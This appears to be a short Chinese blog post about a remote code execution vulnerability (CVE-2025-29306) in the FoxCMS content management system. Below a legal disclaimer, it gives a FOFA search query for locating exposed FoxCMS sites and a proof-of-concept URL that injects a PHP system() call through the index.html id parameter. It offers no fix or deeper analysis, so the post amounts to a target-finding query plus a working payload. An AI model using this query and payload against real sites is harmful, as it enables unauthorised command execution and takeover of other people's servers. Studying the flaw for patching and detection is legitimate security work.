FOXCMS黔狐内容管理系统_远程代码执行(CVE-2025-29306)

免责声明

本文章仅做网络安全技术研究使用!严禁用于非法犯罪行为,请严格遵守国家法律法规;请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

问题描述

FoxCMS黔狐内容管理系统存在远程代码执行(CVE-2025-29306)‌。该漏洞存在于FoxCMS的index.html接口中,允许攻击者通过特定的输入执行远程代码,从而控制受影响的系统‌。

fofa

body="foxcms-logo" || body="foxcms-container"

poc

http://host/images/index.html?id=%24{%40print(system(%22id%22))
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值